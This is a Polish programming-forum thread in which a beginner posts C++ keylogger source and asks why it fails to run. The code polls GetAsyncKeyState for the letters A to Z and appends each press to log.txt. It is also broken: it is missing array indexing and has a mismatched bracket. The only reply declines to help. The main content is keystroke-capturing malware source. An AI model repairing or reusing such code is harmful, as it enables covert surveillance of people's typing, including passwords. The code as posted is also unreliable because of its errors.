[C++] Mam problem ponieważ keylogger sie nie uruchamia

[michacz13]

Czy ktoś morze mi wyjaśnić dlaczego gdy klikam uruchom program się nie uruchamia? Co robię nie tak to moja pierwsza przygoda z c++ o to co w nim się znajdowało

 

//Very basic keylogger

#include <iostream> //contains basic functions

//I put it in for debugging

#include "windows.h"//to poll heystates

#include <fstream> //to write to file

using namespace std;//lazy ftw

 

int main(){

//our file

ofstream file;

 

//26 latters of the alphabet

const int numkeys = 26;

 

//How long to take in between polling

const int i_slp = 10;

 

//keystates

bool pressed_last[numkeys], pressed_now[numkeys],

exit = 0;

/*we want to keep track of what was last pressed

so that we don't have the same letter written

over and over, exit will be our exit condition*/

 

//Initialize our bools

for(int i=0;i<numkeys;i++){

pressed_last = 0;

pressed_now = 0;

}

 

/*So here's the basic idea

we;re going to poll all the letters.

then we;ll see, what was not pressed last time we

polled the keys, and what is pressed now. If a

key was not pressed before, and is pressed now,

we'll write it to a file.

and we ;ll stop when exit = 1;

*/

 

while(!exit){

//poll the keys

//A = 65, Z=65+26 ; ascii characters

for(int i='A';i<='Z';i++){

pressed_now[i-'A'] = GetAsyncKeyState(i)!=0?1:0;

//what that basically just said was

//if GetAsyncKeyState(allthekeys) is not 0, then

//set pressed_now[i-'A'] = 1, else 0

//neat notation eh?

//now we check if a key wans't pressed, and

//now it is

for(int i=0;i<numkeys;i++){

if(pressed_now&&!pressed_last)(

file.open("log.txt", ios::app); -------------> ta linijka jest źle i nie wiem czemu resta jest dobrze a ta nie.

file << char(i+'A'); //output to

//file

file.close();

cout << char(i+'A');

//output to screen

}

}

//file.open("log.xt", ios::app):

//means open the file for writing

//and move the writing pointer to the end

//of the file

 

//now we set what we have now, as the last

//key pressed

for(int i=0;i<numkeys;i++)

pressed_last = pressed_now;

//get it?

//we're done playing with pressed_now,

//and what is pressed now, is next times

//pressen_last... hope that makes sense

exit = GetAsyncKeyState(118)!=0?1:0;

Sleep(i_slp);

//Sleep pauses the program a bit, so it

//doesn't hog up as much cpu cycles

//118 is the code for F7

//so if F7 is pressed, the loop ends

//effectively ending program

}

return 0;

}

//Program complete

//Let's check it out

 

Edytowane 14 Października 2011 przez michacz13

[meth0d]

Nie pomagamy w takich sprawach.